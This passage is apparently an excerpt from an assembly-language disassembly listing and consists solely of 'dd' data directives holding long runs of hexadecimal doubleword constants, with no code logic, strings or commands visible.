		dd 3120B23Dh, 6B77AACCh, 2E72AB00h, 0E88DDFC4h,	0A0F00040h
		dd 0A5AD1989h, 0A4001DFBh, 9D3D60D3h, 14783453h, 902D2930h
		dd 94795C7Dh, 0D8BF3500h, 0BA1C5493h, 0FDB9A18h, 0C09E48h
		dd 0B1B39865h, 0D8A7ADD3h, 2F305CFEh, 178F2011h, 2E021315h
		dd 0E800542h, 0F7B88072h, 94006919h, 0B11E7D77h, 0EEA47C9Eh
		dd 0E8B94C6Bh, 0D4666000h, 795EB4F9h, 1F0E3B13h, 0E2F28400h
		dd 5C61835h, 254F8008h,	101CC091h, 1628D758h, 50739CE6h
		dd 7DC1CC01h, 0F7BF1BB0h, 7798E7E4h, 0F9F68Dh, 0B71D4A86h
		dd 0F3E533D8h, 78802603h, 985EE6E7h, 1582999h, 21568CC1h
		dd 0E8184563h
		dd 200C731h, 9DF2E346h,	39FB0BD4h, 7BACB0h, 628FD1EAh
		dd 13F3E804h, 4DD89F16h, 0E48400BBh, 6C36A706h,	7B752E01h
		dd 604CEB83h, 242820h, 488A01D2h, 0E5D313F5h, 93AE80C0h
		dd 0C06A3C37h, 26278C12h, 0EF0F741Ah, 60195846h, 0D4103730h
		dd 484EFEC9h, 4B00045Eh, 49E8EE29h, 2CFE8B3Fh, 0D11A0900h
		dd 7C701F54h, 0D4F1171Eh, 0C7200E67h, 5763F241h, 0A65D8EAh
		dd 0E764BC09h, 0AB1680DAh, 9898859Fh, 7E080031h, 0A26D0AE9h
		dd 0F03E55B8h, 0AE190090h, 877A8A89h, 710FC93h,	0B3C86743h
		dd 8C2A3023h, 6E00D963h, 0B84CF0Fh, 0A76ADDh, 0AB9903F4h
		dd 0D01762B6h, 31D74B02h, 820ECC40h, 60C8E2F9h,	26BB10C6h
		dd 95A87Ch, 8B4C6667h, 0EE01446Dh, 0D8466F0Dh, 34309FE0h
		dd 0DB3F00B5h, 0DE79C1EAh, 0C6F0744Ah, 6DC05500h, 0E4698E4h
		dd 0A61C00EDh, 40931711h, 0B400FBB9h, 82011673h, 7C0F9C65h
		dd 4E3C0FA1h, 0D908707Fh, 6BDE4803h, 1A19B8E0h,	3650004Fh
		dd 0E1EEB50Bh, 73497876h, 3DD30348h, 0C1A942D5h, 0F02054A2h
		dd 0FE80B57h, 800083D4h, 309EC3CBh, 25604800h, 0FC26CEF6h
		dd 682E00D9h, 0F74DA73Ch, 9600D6E8h, 0F4528178h, 76125967h
		dd 134A84h, 6FAF725Ch, 4600AC65h, 3D2F69EDh, 0B374A2h
		dd 1961F6F2h, 219AEC77h, 1D2C73Eh, 948864C5h, 18D57539h
		dd 2A48CCh, 453404E7h, 0FF7C76EEh, 4CD65300h, 27DBF35Eh
		dd 11D000Eh, 7AE9A073h,	8C1D1BCFh, 0F8437DD1h, 0A259F3BBh
		dd 0A84C5036h, 0B0982B94h, 706612C0h, 6A4600E9h, 2057A8D6h
		dd 34DDFD00h, 0B7A2A116h, 21700273h, 56676C3Ah,	775CDFC0h
		dd 9D01F228h, 89D3573Bh, 80C1642Dh, 733E9E84h, 3AB1ECCBh
		dd 1AA6F06Eh, 36A303A3h, 110003D3h, 96A8976h, 327706h
		dd 0E3EF7EF1h, 0F3D514BAh, 0FD516000h, 0BD43756Fh, 4EC23F10h
		dd 0D381E08Fh, 0A2FC2420h, 830586F2h, 9EB0BCA5h, 44B99C80h
		dd 4FAA00E9h, 9DA04DCEh, 0D3307127h, 473D1C87h,	91EC006Ah
		dd 0A3D29B69h, 0C07311CDh, 853AD000h, 31C2DFB4h, 38174CF3h
		dd 8E5BB800h, 2090F24Bh, 0F0695600h, 21354AFDh,	93B900B0h
		dd 5EBFDC4Fh, 0B72E7F6Fh, 0F11FB813h, 0AE3BFEC1h, 82C08FB3h
		dd 28FA27h, 0B0626D10h,	2B1500Fh, 31A8800h, 0AE972BFAh
		dd 0D34509B7h, 9B00BC11h, 831DE749h, 74000C98h,	2A30CC1Bh
		dd 8EF007h, 4F498B59h, 63173AFEh, 9583E100h, 238A41ABh
		dd 0BAE600E4h, 99B809F3h, 7B749A9Ch, 14C048C0h,	71E1935Ch
		dd 0A72D00EEh, 0E6803764h, 0BA285F0Bh, 3000F8FCh, 6F267E03h
		dd 54DDB2Ch, 0BF4B1784h, 0CD6380E3h, 0F4593EA6h, 0AE3300A4h
		dd 0DBDC45E7h, 0FDB2000Ah, 0FB4C743Dh, 0BA172116h, 7C00D456h
		dd 0D2E48F43h, 0B5CB00A5h, 4D418424h, 270060FBh, 0B31225DEh
		dd 0ED40DAh, 0AE2897CFh, 11046BA4h, 0F8005AEEh,	0D236E379h
		dd 8DC633h, 2A34D53h, 3D4A404Bh, 757B8901h, 9B285CAAh
		dd 0C83006D1h, 0DBBA0735h, 37BC0743h, 33FBA0F0h, 0B0A1ADB8h
		dd 0A505DC0Ch, 95105600h, 9C86939Eh, 1DA4A012h,	0A6BE00ACh
		dd 0BCA141ECh, 4F3CEE2Fh, 0D8D100A5h, 6CB89AE9h, 3C898BEh
		dd 2BE3CA4Dh, 93EB9448h, 99DC0885h, 6ADCC940h, 0F6710C26h
		dd 0E41880CDh, 94CEAB0Bh, 7AB0001Eh, 0CA674Ch, 0B22745E9h
		dd 3A237034h, 0FCA7B812h, 0FBE23800h, 5CEC7A8Ch, 4500749Dh
		dd 2C6E9255h, 3A983A98h, 0E7105F00h, 9AC48EA2h,	9DB60167h
		dd 6F0BBB99h, 0F05AEC40h, 90FE3C01h, 0CC37FB3Fh, 398C30h
		dd 0F6692F1Ah, 8206B533h, 1E41E300h, 8F81C2BBh,	7745001Bh
		dd 5D9C4A29h, 9CBA8A31h, 6571C9F2h, 816D5000h, 0AF23E1BBh
		dd 19C548BFh, 0F5D20575h, 0EA1A48Fh, 7D27258Eh,	40E06034h
		dd 0B4E480DAh, 96989103h, 0A076F0AAh, 7A45877Eh, 0E40605B9h
		dd 0EA161Ch, 0BF788BB8h, 1400AA3Bh, 6A7BF5E7h, 0FA61D5h
		dd 0E336E5D4h, 89CAD702h, 0EC380E73h, 3528F9FFh, 7507B44Fh
		dd 0D421CB32h, 0A60E0F70h, 7F080082h, 7CCD2A87h, 0EB014FB9h
		dd 0B276D98Fh, 5CD0D2DBh, 689F1D8Dh, 1CEE529Ch,	0EF15C01Fh
		dd 0FD22943Ah, 84061C90h, 0FA41E946h, 254B0758h, 60530618h
		dd 0AD10D8B6h, 9AAC9C0Eh, 90692455h, 0E36DA880h, 0A5170006h
		dd 1E0156D5h, 80010DF8h, 9690DA32h, 4614C7Bh, 720E4DD0h
		dd 0A1FE00DBh, 995C64B3h, 7C00E721h, 5106BC92h,	552D35h
		dd 0CE33220Bh, 0DC76CB48h, 0D7002071h, 0D59352E0h, 0C84AE8h
		dd 1ABEEF69h, 3FE21F89h, 0A1460C24h, 0B29C9500h, 0A0EEF1h
		dd 73F4D279h, 399BEB3h,	174C123Ah, 0C040F0F6h, 28F72A65h
		dd 6ADA5836h, 7E0750h, 2F600C96h, 0FE64A5A4h, 79E1670Eh
		dd 431480D8h, 0BBB19EFh, 93B8A1DDh, 2A59F400h, 4E0006CFh
		dd 0C8572E28h, 1821AA45h, 0CA35C9Dh, 800D131h, 872E6322h
		dd 3E28F3E4h, 5838EE0h,	4DF95996h, 43C1F1D8h, 8FB6C80Bh
		dd 7CF400F5h, 94E13C3Fh, 0DA7360D8h, 0FB005F39h, 0F82FD365h
		dd 202DCEh, 23839996h, 7C524B37h, 95AFA300h, 0E82A85A8h
		dd 68CF0035h, 6FBBCAB8h, 0A5003EE9h, 5CCCFBDBh,	329CA6h
		dd 0DE52AED5h, 0BA62D7C8h, 0B838C00Fh, 6075AEB3h, 5F04F036h
		dd 0A3710Fh, 514D0E74h,	38C4C3A0h, 0A93531Dh, 0FAF8CA80h
		dd 0AB02F3h, 715703BAh,	9CBE2951h, 440095F4h, 0DAA383C3h
		dd 732BC5h, 64FA5EBBh, 3EB61B94h, 21C0B171h, 0AFB796C1h
		dd 1A3B0C7Dh, 18196027h, 0E512C400h, 66F0FED2h,	42741Fh
		dd 78D9A5FBh, 3780046Ah, 0CB0ED306h, 2161CDh, 9E306257h
		dd 0E8E126B8h, 483E4301h, 0B215F37Dh, 0E381A741h, 913B6080h
		dd 0FA5AF21Dh, 479910C0h, 0FA6E643h, 0F7A9F172h, 0D6BF3B81h
		dd 0C42930F2h, 3D79777Bh, 0CE9F2007h, 0B4808B44h, 0E21EE65h
		dd 0E2498C9Ah, 98380FD7h, 992211E0h, 734C3782h,	23C20FA2h
		dd 0E9AFE076h, 0F52594h, 1FEC77Eh, 887D3058h, 7F431D00h
		dd 0DA9260EFh, 0B0DF0F1Ah, 0B86BD599h, 0E7ECB880h, 4C00626Ch
		dd 6EA6826Ah, 386D20F4h, 0F680B0E9h, 0C888FC14h, 0CA0133A4h
		dd 41D64FE7h, 0DDC80A8h, 8ACF0263h, 0FEA4CCCDh,	0D5881FC3h
		dd 0BF4C246Ah, 522A1D13h, 0CD591500h, 614F8F99h, 1D9A884Ah
		dd 28BB4064h, 2AF07B4Eh, 0D7008B7Ch, 0A8BD509Ch, 7A9088h
		dd 5CA056F5h, 231E4FFh,	98593F3Dh, 0E231C238h, 0E0847ED1h
		dd 0F1FC000Dh, 2E5A2D6Ah, 580082CDh, 67BE1AEEh,	0B8EC19Eh
		dd 54F949B2h, 0A85E3090h, 9923E400h, 1B71EB17h,	0BBC0C0A6h
		dd 0A32FC60Ah, 9BE78400h, 1605AD56h, 29EB128Ch,	0DBE00B2h
		dd 0F698BBCDh, 0B16B4400h, 0BC1F3060h, 0A7FE38h, 9EC9FC74h
		dd 91B75672h, 2BEABD71h, 0A37AEF03h, 88695C0Eh,	121BF449h
		dd 20BCD2h, 0B587AE0Ch,	480112ADh, 1F2E7E5Dh, 5860A302h
		dd 0C326002Ch, 0DFAA05DDh, 0BDECFB6Dh, 0AC42451Dh, 0F280A19Dh
		dd 0D4B22093h, 0D17B36h, 47B4754Ch, 1F9AFDAh, 0BE184200h
		dd 43A9455Dh, 31A500D1h, 81DE1EABh, 12005E04h, 0E8262DBAh
		dd 6961DFh, 6AF880E7h, 1B42C2E9h, 0F03A901Ch, 5DBB95C5h
		dd 8C19E580h, 0D6A50073h, 57E25578h, 4000BFA0h,	12F8956Fh
		dd 0D88149h, 0A4B4C79Eh, 0FAEEC872h, 0BE479216h, 51F78900h
		dd 161A7949h, 38620Dh, 3DAE01A0h, 7426AD3Ah, 36001854h
		dd 0C991CB25h, 77978C7h, 6169EE18h, 3102502Eh, 0FDE45B0Bh
		dd 0DD3F2871h, 999E00F0h
		dd 49D042C4h, 687A00CEh, 36E90941h, 7607BFA3h, 0F11F5FCAh
		dd 0F30F1A30h, 2BB500D9h, 99AB43BAh, 0B4006EC0h, 0DF288D4Eh
		dd 0C1DB20h, 1E0ADC56h,	77F8FF5Eh, 0E0E15Ch, 0FB2EFA19h
		dd 1CE9D7CDh, 4090ED7Ch, 0A0AB0C2Ch, 0EBEC578Dh, 439EA400h
		dd 0C71F40C5h, 9C9655h,	0B91E0996h, 225B12F5h, 0D3407C1Dh
		dd 0C8DA4CF4h, 0CA1700D5h, 66CCE29Fh, 2B002022h, 0FEDC5919h
		dd 70F008h, 5CCF01DDh, 0F8901DD5h, 0FB259F03h, 0C080F65Ah
		dd 48030C21h, 183812ADh, 0DD7B9780h, 709F9FCh, 713A881Fh
		dd 38D0A3C0h, 929E2277h, 0CB4A1C5Ch, 3D8F8050h,	0CCAEF11h
		dd 991336F6h, 7900055Fh, 0E8D443EBh, 0E0C8C08Ah, 656E6AD6h
		dd 8C4A38h, 94B438BEh, 0EC5715E6h, 3B76001Eh, 22ECD56Fh
		dd 1100858Ch, 0D5D72ABh, 0DF2EF4h, 1FEBD33Ah, 4D0F8703h
		dd 0E5009CEEh, 4140CFD9h, 7F802Dh, 527B0696h, 19B9C06Bh
		dd 7E364600h, 99419826h, 1CE0F57Dh, 0C14A0001h,	448BD3Ah
		dd 3EE876AEh, 876A8600h, 0B649D129h, 0B21F0073h, 0CCEA30E0h
		dd 0A112DFDBh, 8000073Ch, 0E7BC6E7Ah, 8831204h,	3E240381h
		dd 0E0D51FC4h, 5D00F870h, 0D392B42Ah, 0FBFD36DBh, 0D95E851h
		dd 6A0460EEh, 0AB870014h, 0D88E6864h, 52746F3Ah, 0FE38E70Ch
		dd 39C31DEh, 743C110Ah,	8BF8A753h, 0DB00B693h, 9826491h
		dd 11926AFh, 15A244B7h,	0C376CCDEh, 20549DF0h, 4FE08D5Ah
		dd 65D61332h, 8CEF0085h, 0A8F3EB33h, 2F97680Eh,	9D3CE320h
		dd 0BB9B8015h, 4D4C0908h, 5CC00A61h, 700FE73h, 25C975D7h
		dd 1C4BCFh, 0A3B510A9h,	0A6C6B102h, 0C78CAA50h,	0BF2C3509h
		dd 0E8B8E8ACh, 0B2720727h, 0F0AB534Eh, 9AA0E0C1h, 0E930B860h
		dd 30E1777h, 7E7207BBh,	1FB059F7h, 0FF006F3Dh, 5D899E8Ch
		dd 4408812h, 0BF199CDAh, 6254830Bh, 7779F9C0h, 173A1B00h
		dd 54E7C12Ch, 32AF3A65h, 7BBB17h, 931A89E3h, 99776B40h
		dd 0A9794400h, 5ACCFCE1h, 68C0C0FFh, 0AE6D1D43h, 0E33458C0h
		dd 6CC81ABh, 0DDD8D741h, 851C18ADh, 80BB4425h, 5B095F8Dh
		dd 0ED7BF0h, 0D33F3A38h, 426D1B1Dh, 6ADA1C1Fh, 62A15980h
		dd 0FF47C9h, 1A8056BBh,	763BF2EDh, 0B417A300h, 0FEEF01Dh
		dd 5E03008Ah, 0A4C1480Ch, 3C0EE8B1h, 40C85A62h,	7ACFF6FEh
		dd 8BD400DEh, 0A4B3F9B5h, 0FA00BBFCh, 3E05758Eh, 501B56h
		dd 4EEB9E5Fh, 6F167BF6h, 0EA2DE200h, 0A09DDCAEh, 0E75E0E37h
		dd 0D2C046BEh, 65DEA417h, 0D32EBDB0h, 0A802308h, 43DC8168h
		dd 0D6880EF3h, 0C3A087DFh, 18E65DCFh, 8ECD6C0Ah, 85079856h
		dd 6BC79ACAh, 0C5881990h, 2B33CC3h, 0F026FA89h,	6AB18CE1h
		dd 0CCEDD800h, 2C6B3613h, 78E866h, 613DC843h, 0AB0016D2h
		dd 0E32B0B34h, 2483D46Ah, 0E7C84BAh, 16204FEFh,	178F72D1h
		dd 7F23EA09h, 0F9B400A6h, 9DE52BFEh, 72B5EFE0h,	0D4A0627Eh
		dd 0F80037FDh, 0B33F9CB9h, 7A7C97A3h, 0E5FF24A4h, 339B8FA8h
		dd 0AB5A7823h, 8BD3A2D8h, 0E7757E01h, 0C3D73E6Eh, 72005079h
		dd 4A23FC0Fh, 0D400A236h, 0DCC0B501h, 833457h, 308E1FCAh
		dd 9A25C6ECh, 0D1C8D209h, 32D700F8h, 3A90715h, 6D0C2080h
		dd 63F86784h, 98B4183Dh, 0EC04D400h, 0CA95F0h, 0BAE377E4h
		dd 722D8550h, 6500E579h, 61BE3D68h, 27FA7E8h, 647EB7FEh
		dd 0BE6003E6h, 12095FCFh, 803EA80Ah, 3D8BE425h,	0EB592CA4h
		dd 6D1103E0h, 290A24AAh, 0FC8715FBh, 0B73D900h,	0C19566h
		dd 793FFEF7h, 0DDC52E91h, 0AC0958h, 0DAB975ADh,	1E1CDFB7h
		dd 5D27E1C0h, 0A6D4C00Bh, 1DA79A15h, 94452500h,	997EAAA4h
		dd 70437C6Eh, 303B0058h, 5566DAE7h, 0A700B4E3h,	0CBE1CE3Eh
		dd 0F1BC223h, 53C8025Ah, 89DD3C00h, 0CA790482h,	0B555ED1Eh
		dd 48A759D4h, 2A4B263Fh, 56D56600h, 17DC5DDAh, 0C21479DFh
		dd 36416F0Ch, 4B22219Dh, 503C5D1Ch, 70000335h, 0BA770749h
		dd 91898EAh, 7CFA1CC3h,	0C04F1804h, 0A4D9AD2Ch,	8800667Bh
		dd 0E376F857h, 0FA91B353h, 4E230368h, 2517CCEh,	2E218084h
		dd 38009795h, 0E3E404EBh, 0C35EA7BEh, 6F695450h, 0EC8F688h
		dd 0AAC2060Ah, 6C00BF42h, 2A02C9C4h, 0AF3200ACh, 0EDF05ADh
		dd 50E869FFh, 1D4C6626h, 8F83003Dh, 8FD7E41h, 1BF90048h
		dd 0D48E5153h, 0B73F551Dh, 846701C1h, 0F148A005h, 11F81FF7h
		dd 0C091DC07h, 0BC343681h, 830380DDh, 0E798764h, 1CE8B0EFh
		dd 0AAC8003Ch, 0AB2B9ECCh, 6A2E5236h, 5800D4BCh, 67101975h
		dd 9444257Bh, 0C5708C60h, 407DFB98h, 8FC20F02h,	0E06AAEBFh
		dd 0FF18DCh, 0EB2706CDh, 10FABDD7h, 169FB600h, 77DC0A5Bh
		dd 0A13E39C5h, 0F3EC6983h, 0F5802E27h, 0F80F6589h, 4C9383A6h
		dd 0E25FC086h, 3BBC003Ah, 0A96061F0h, 0B0048D3h, 0DBE895EDh
		dd 297B926h, 587D144Ch,	7450C472h, 2A8BB050h, 6847BB05h
		dd 23FCB4F7h, 21566902h, 305E89BAh, 0C7D0CF00h,	3887E3h
		dd 5C6274DFh, 8DFE0414h, 0B2003CE4h, 1342B1BBh,	3F4A8BEh
		dd 5C179D08h, 0C4E81D29h, 70608BDAh, 0C86B32D1h, 42FE0344h
		dd 3DAFA410h, 23E16800h, 5D57777Bh, 489283h, 0EDAAF69Eh
		dd 4009654Eh, 8A199160h, 77ACAD81h, 1CF55F48h, 0AF3900D8h
		dd 0B373AE57h, 0EE00627Ah, 459FB52Bh, 777E68DCh, 175C1FE3h
		dd 5AC0C06Dh, 3344A2BEh, 0E984D303h, 0C89359EFh, 663E5F8h
		dd 3047AD24h, 0E2EAD05Bh, 732B6500h, 0D298DA2Fh, 800772C3h
		dd 80D685Ah, 88E2D17Bh,	9950F4h, 9845592Ah, 0E10C5B8Fh
		dd 0E870A3B8h, 49B2139h, 0F819343Bh, 0CF1D80BBh, 3D48860Bh
		dd 0FF920024h, 8DD83747h, 6FECC0AFh, 69CB4A73h,	0BE947102h
		dd 633B7B30h, 0CCE49854h, 273E18EAh, 0A0BF416Dh, 0FDC4613h
		dd 0F8134800h, 1761866h, 671E9839h, 0E6704DD1h,	0BD3CAA60h
		dd 572D5600h, 26EECEF2h, 78F6B7h, 0B0FBC538h, 72C32C0Ch
		dd 0BB101C60h, 15A580Bh, 3C101705h, 0F2C6E897h,	70C868CBh
		dd 0A17176F2h, 0B911F101h, 0D9E65630h, 0AA1BA040h, 508A0072h
		dd 4C04ADECh, 0F003C5Bh, 6521BF17h, 3E3B8553h, 71F628Ch
		dd 40BA9F9Eh, 9DA140D5h, 850002F7h, 4D433437h, 50220A69h
		dd 2888EFh, 0FBD9DFB6h,	0B1AB9E4Bh, 0D6B01203h,	88D36813h
		dd 866DA4h, 0BCF9CC2Ch,	3B6C44EBh, 66A30917h, 222FA480h
		dd 13740204h, 0CC10CE0Fh, 0E8AE6CE1h, 0C8307E40h, 3E3610C0h
		dd 5DD72694h, 0BF5A0054h, 0CE83EB6Dh, 16470D02h, 0E8F5F741h
		dd 53857E4h, 3604100Bh,	84A703FCh, 86C2E411h, 26533160h
		dd 48EC2000h, 0C67DD2EEh, 1114074Bh, 30C779C1h,	0E383E8D1h
		dd 70776090h, 8E00B490h, 0AEA02824h, 24BB82E7h,	28C022h
		dd 2EECCE57h, 0D0F4137h, 608E2CC3h, 45674A38h, 9CD20364h
		dd 0C4B8E06Eh, 7859A007h, 584081B1h, 12577304h,	1C9B9D0Bh
		dd 15998064h, 0E76BC2DFh, 0ED488400h, 7C148F25h, 4949EE1h
		dd 0E82EAECCh, 71F87DCCh, 704EC12Dh, 96D000F3h,	0BDDB6FABh
		dd 69007AB1h, 9B59B76Ch, 76918952h, 660C24DAh, 8EC1006Ah
		dd 26B50880h, 338B1907h, 0B90B1D5h, 60E5DF3Bh, 9CEC18B6h
		dd 62014957h, 5CF9B9A5h, 4DE995DBh, 285167E4h, 48C8E144h
		dd 6E0053D0h, 5D78DA55h, 6B009626h, 0C110203Fh,	7A60Ah
		dd 48B724C5h, 0D8318E1Ch, 0D93A4D01h, 9B2A6FF8h, 1EF105D4h
		dd 40D27477h, 132CA036h, 0F00EC7Ch, 0A46E9554h,	15B5F3h
		dd 63EE2E9Eh, 0C4D64E65h
		dd 1FF86100h, 0B6BA3E5Eh, 12DE9894h, 1FA5F4Ch, 0B860EC66h
		dd 32946075h, 0BFAE6102h, 7CD37EB0h, 6A1C39ECh,	0B8028E19h
		dd 0D8B716A1h, 0F0E87411h, 3CB5CC00h, 6CA1B05Eh, 39EBF0CBh
		dd 133B15F6h, 56BFAD87h, 37D4903Ch, 5C58E066h, 53C2002Ch
		dd 4DFB1F9Ch, 5580A19h,	16946C50h, 2B10000Ch, 6F2E808Dh
		dd 4F98AA01h, 432A6109h, 58D8F4h, 35BB673Bh, 0A4FABCE3h
		dd 488EC500h, 0D6A6C321h, 5FB704FCh, 802E37E0h,	8CAC1046h
		dd 62D03F00h, 665EA86h,	54EE008Bh, 0F60F7A98h, 0A9004A1Fh
		dd 5EE6AD4Fh, 0EC075C29h, 60AF005Ah, 13AB6D7Ch,	0A81D1BA7h
		dd 88B1EF10h, 29CDB85Ch, 4FF1C830h, 9480C257h, 1700E4FAh
		dd 96CF9C11h, 22B8C36h,	0D8ABE7EFh, 10CA2A68h, 54AB0CD8h
		dd 9E98E1DBh, 9200D648h, 0FA1377FEh, 34C5D0h, 3817C41Eh
		dd 561268B1h, 23C88503h, 0C732F926h, 0B6CB0BF0h, 0AB0E00E0h
		dd 6858A017h, 0AA00778Ch, 1A15308Bh, 38D6683h, 635A547Fh
		dd 9AC0E2D6h, 6F00057Bh, 6D98826Ch, 0CF4C12h, 0B95D867Fh
		dd 0AC03ABFBh, 0E34758h, 68029235h, 4C5C39BFh, 83FECA5h
		dd 4A91E800h, 3321A811h, 89FA0F1Ch, 0B2DF5D80h,	14493EDh
		dd 0EF68BCA4h, 0C43A389Eh, 0CE02C482h, 3CB19F6Eh, 0A8C9E3E8h
		dd 0B6BE8Eh, 28300B63h,	567345F3h, 6770977Ch, 7E6C5707h
		dd 20B77AFCh, 44F2A6F0h, 0AA64007Bh, 0A945EE08h, 46E02860h
		dd 69D73E12h, 4FE6F8C0h, 0FBCC80F0h, 0DF00A0E4h, 9E338D8Ah
		dd 8BF13Bh, 0C995AAF2h,	0BD1D9816h, 0DA77200Fh,	36C6615Dh
		dd 2D0B1B8h, 39A5E8B6h,	7D00225Bh, 6387D8DAh, 7C07985Ch
		dd 5244810Dh, 0D3DC5A21h, 3C5420h, 1B13712Ch, 15D2A8EDh
		dd 5D51F500h, 637D20DCh, 0A3E869h, 0DEC7675Eh, 0A271A9E7h
		dd 24469D2Ch, 102FE400h, 8F7017h, 0C09588F1h, 0F9728A1Ch
		dd 140338h, 7F8CE584h, 1FA593h,	0DD0F7CB5h, 0FDB77380h
		dd 6B46E301h, 0A306B0C5h, 431C074h, 0BA60DAA5h,	5A50803Fh
		dd 0AA01BB90h, 1FD3B986h, 442181DEh, 0FDC0FC3Ch, 49762B0Bh
		dd 32A00E00h, 0BF92FE03h, 79EC008Eh, 0EA05A175h, 0E776FF2Fh
		dd 51313000h, 6FC41B7Eh, 4CD60069h, 6DE0D402h, 5C77D95Fh
		dd 20DA2C00h, 0DB53E47Eh, 2CC7E6FFh, 48B6A6h, 95F3765Ah
		dd 4239C1D8h, 0B8D100C9h, 8DCC0820h, 1AD62678h,	0EE650039h
		dd 0AE00595h, 84818600h, 433D6C45h, 1FF20B62h, 0F860AE9Ah
		dd 0BAF050E4h, 0B509C87Dh, 13FB23h, 0DB4E7A55h,	9A0A0B16h
		dd 48804587h, 0A63AEC3Dh, 0A46458h, 3999CD55h, 6D6621h
		dd 72AEC09Ch, 766C3B88h, 2C826000h, 84DD0D6Fh, 0D125000Bh
		dd 4FF8CA78h, 2800B173h, 39FB2910h, 21840A2h, 72163E30h
		dd 5AC05C69h, 0A8988B2Ch, 0C8002BEAh, 73EA47E2h, 14401A16h
		dd 0CC36BD48h, 0D8695C74h, 0B83378B0h, 9B341903h, 0B02B2554h
		dd 727C1F20h, 3183046Ah, 0D0A9398Dh, 85623A30h,	94D2D00h
		dd 0AC48F2E3h, 0ECB80037h, 3FB39A47h, 0FF002289h, 4375B134h
		dd 3E3123Eh, 0F5263D5Dh, 0D39887C5h, 0E0007B98h, 0FEE7501Bh
		dd 48D1FF06h, 5A48EE0Dh, 54640F71h, 960E6BEh, 968D417Ah
		dd 475AA00h, 0B4E8943h,	8C9900BCh, 5D91F536h, 0E5034B15h
		dd 8ABAE277h, 1C17AB88h, 9B79F4h, 34F6E710h, 8300B3F4h
		dd 0E6F71D52h, 172A54h,	0ED314F9Ch, 79965D9Ah, 0CCEC081Dh
		dd 13692C00h, 19D7BA6h,	42712462h, 64CF0353h, 3F074860h
		dd 0E4E94BCDh, 0D12639F0h, 9E760294h, 0C622B11Dh, 2B603071h
		dd 0FE0523AAh, 644B2634h, 0B517078Ch, 55D08044h, 0DA008007h
		dd 50B26336h, 0B8567EA6h, 42A90008h, 68F52E0Fh,	0ED002128h
		dd 0FB9E8C01h, 1388FA61h, 0F07F0940h, 1600A6E8h, 8FEC695Ah
		dd 6F3ED7Dh, 312B70A0h,	7C7C31CAh, 83B20325h, 0B0D43D10h
		dd 927E2Dh, 0FADFCC47h,	8A130B90h, 2A1DE500h, 44193ABDh
		dd 793005Eh, 59E4F24Dh,	6BEEE61Eh, 0C2EB341Ch, 0A6A72900h
		dd 7465BEFh, 0B1440F79h, 7031A041h, 9500C310h, 0B776E66Ch
		dd 1F8B3547h, 40550B87h, 13573A1Fh, 30605E0Eh, 6E1D018h
		dd 0C48107E7h, 205A7514h, 0F37253ABh, 892A5100h, 47B15E70h
		dd 328F0018h, 6FA90BEFh, 0F6000EF7h, 0F0DE152Eh, 0F47108B9h
		dd 14380040h, 4A226032h, 0A57ABE24h, 17B24B00h,	0DFCDB164h
		dd 0D7460E38h, 8F20A345h, 5116ED9Ch, 5DD16600h,	0E0912356h
		dd 0E3423EA4h, 41040F80h, 9CD0E72Bh, 9D7FE900h,	37BCCDA8h
		dd 8A3CC07Ch, 5365BA5Ah, 6E0F07Eh, 0AD25F102h, 0E0265568h
		dd 52B21D8h, 32BB0EC6h,	92528001h, 7E008AD7h, 7622349Ch
		dd 0BD2F82h, 778EA937h,	15731CD2h, 23DBA3Bh, 852ED0F3h
		dd 0B43D6099h, 6152C021h, 3B502471h, 8C330EF0h,	0C80A51A5h
		dd 1CB6E2D8h, 8018C32Ch, 0D35348C9h, 3107ABEEh,	0D823D1AEh
		dd 0B0571280h, 0DDEF07ACh, 0B09BCAFAh, 0A92E1060h, 0FF150F00h
		dd 1DBB07Ah, 9AA20037h,	8802F581h, 5700F0C8h, 4E92E270h
		dd 0F780C69h, 0FD20C474h, 0C0DB96A0h, 0F30048A3h, 335D5E0Ah
		dd 0C45B54h, 1F9EA6CCh,	0C81468A1h, 8ED75C00h, 0BAA7BD02h
		dd 8D4D0034h, 6E114EDDh, 912282Ah, 0DA007DF1h, 1AD88F5Ah
		dd 43C03A1Fh, 0F7C7A100h, 0CE495EF9h, 42052A00h, 5320DE7Eh
		dd 5CF201h, 0AA9B4056h,	0A03BFDA6h, 0FF040701h,	442A2115h
		dd 0F03793F8h, 0E9770071h, 0DD20708Ch, 0E000BC5Eh, 61F4466Ch
		dd 679DAB78h, 2001A8C2h, 0FF7D340Fh, 434C5200h,	8F9AE509h
		dd 0E37F89Eh, 0FC132532h, 5B6123A3h, 108104F8h,	9424AA0Eh
		dd 6DFF0088h, 0AE9582h,	501A768Fh, 0ACCF2B61h, 9C79B93Ah
		dd 0CA001B33h, 2F8BC8A9h, 3CED002Dh, 0AA410DB4h, 0B300847Ch
		dd 0A16AEE78h, 3FE121F9h, 0D9007F96h, 0BCD03CC0h, 0CE128EE2h
		dd 18003E36h, 0B49B8517h, 781900BBh, 0FE245B1Dh, 503EB6AAh
		dd 34A18026h, 0ADAEF22Ch, 0D6400014h, 972A2DE6h, 0BF307E0Dh
		dd 2EC460E4h, 68CD5834h, 0AD143E0Eh, 97B52520h,	38E2C56Ah
		dd 0CDC10700h, 0CC42CCCh, 3FCA2h, 34869979h, 0E6D9011Ah
		dd 18688700h, 49BDA68Ah, 0AA330013h, 5AC6C4E4h,	2F4CAD26h
		dd 0D3E50058h, 1050DB99h, 0DEFB0961h, 44008163h, 2F74BB66h
		dd 9F165478h, 0F3009080h, 8D0CC32h, 0EF37009Bh,	19D6C523h
		dd 1300F2E2h, 0CC147704h, 68C6D5h, 65B644C2h, 0A55CF15Dh
		dd 0B74AB100h, 4B2CF499h, 1A100F2h, 0CF46E73Ch,	722C7750h
		dd 9801C891h, 9508121Ch, 7DBC1FCh, 6325F580h, 0FCD1E0E0h
		dd 1E0035ACh, 4F8D6A68h, 0C006F790h, 7B44D988h,	0DCB08FE4h
		dd 9B7FAF0Bh, 35548701h, 0E286AF0h, 0FCD20075h,	835543A0h
		dd 3300A557h, 10CCDA38h, 3BE4F3Ch, 7394C026h, 0D5F8C3BDh
		dd 0D37CB8F2h, 6586FE03h, 0F3EB751Bh, 2EEDB9C9h, 4FC472F9h
		dd 684D135Bh, 31400005h, 0DBF101Dh, 0B810E163h,	0E911B057h
		dd 0EADC3FD2h, 7D98CB00h, 5246767Fh, 8F149E00h,	64E6E958h
		dd 0FF78F2h, 0EDDABC60h, 0C5B3D880h, 0BCA4900h,	0BA78104Ah
		dd 11EA00C4h, 0E9BBD0DDh, 200F86D6h, 6003941Eh,	2DA11C58h
		dd 0C0E7006Ah, 0D42A346Fh, 0DD00063Dh, 6B867091h, 20A3CBDh
